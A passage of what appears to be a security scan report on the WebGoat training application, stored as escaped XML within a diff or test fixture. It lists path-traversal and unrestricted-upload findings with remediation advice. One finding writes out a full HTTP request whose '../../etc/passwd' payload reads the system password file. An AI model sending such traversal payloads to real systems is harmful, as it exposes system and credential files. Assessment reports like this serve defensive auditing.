mwj3z2bSo0UsyxetyZVbu67rITSKpHoxuPa7Tg38QkBCDyDwBbh1B7UlYPItc3sMuyucOoHX7bueDZao9Zl+6jBmYkwp/Vc1qsGlzOgnSHaClclYCIOreBVe7qixBEnTj9koi+quRuj2/+rubnxObm7vly7ivh3+DnvHjYQgMCzCWwVTpWhW7FVwin7dOx8cnZFiRqEfWtU7GcPfiUERsNJiTRXZFXr4tQiYlbdK6vFLOtq/Grwupx3viurYnRzOcsw2mdFTdV78eyjn+ghAIFZAluE0/GJXh08zvPDVyZmehvH7xlxNIrJEUkV4dTerETDJYpD2Z/lU6mvO9j6eoz2qOw7eiFm17frlGCL6pYJQLfHnXfAqW21Jhk3h2kUU8ZkZa6V9yGrb/b+zh7ArIMABJ5HYItweh4GIr6awM4htNP3LKc7xuSI/dl8nXV3YXKXOBxm2EAAAp8n8H8xFjVj0EmWLwAAAABJRU5ErkJggg==</data>\n</screenshot>\n<code>The
-        following HTTP request was used to retrieve the contents of the /etc/passwd
-        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
-        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
-        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
-        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
-        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
-        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
-        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
-        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"true\">\n<desc>\n<para
-        text=\"Weaknesses in this category are related to an absent or incorrect protection
-        mechanism that fails to properly validate input that can affect the control
-        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
-        input from untrusted sources before it is used. The untrusted data sources
-        may include HTTP requests, file systems, databases, and any external systems
-        that provide data to the application. In the case of HTTP requests, validate
-        all parts of the request, including headers, form fields, cookies, and URL
-        components that are used to transfer information from the browser to the server
-        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
-        server side. This should be simple to implement in terms of time and difficulty,
-        and will greatly reduce the likelihood of insecure parameter values being
-        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
-        Upload of File with Dangerous Type\" pcirelated=\"true\">\n<description>\n<text
-        text=\"The software allows the attacker to upload or transfer files of dangerous
-        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
-        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
-        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
-        was possible to use the image upload functionality to upload arbitrary content
-        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
-        categoryid=\"25\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
-        UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"\"
-        affects_policy_compliance=\"false\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
-        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
-        sending the HTTP upload request an attacker can provide arbitrary content
-        within the POST body and an arbitrary filename. The attacker can then access
-        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
-        an attacker is able to upload arbitrary content to a web accessible directory,
-        the potential exists for them to upload executable content with a first request
-        and then invoke it with a second request. \nIf successful, command execution
-        on the host operating system as the tomcat web server user would be possible.\nStatic
-        content could be uploaded to the server and accessed by anonymous Internet
-        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
-        provided filename should not be used in construction of the stored filename
-        without strict data validation occurring. Ideally, the user-provided filename
-        should be ignored and the stored filename constructed entirely from server-side,
-        trusted data. For example, the stored filename can simply be a GUID that is
-        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
-        format=\"PNG\">\n<data>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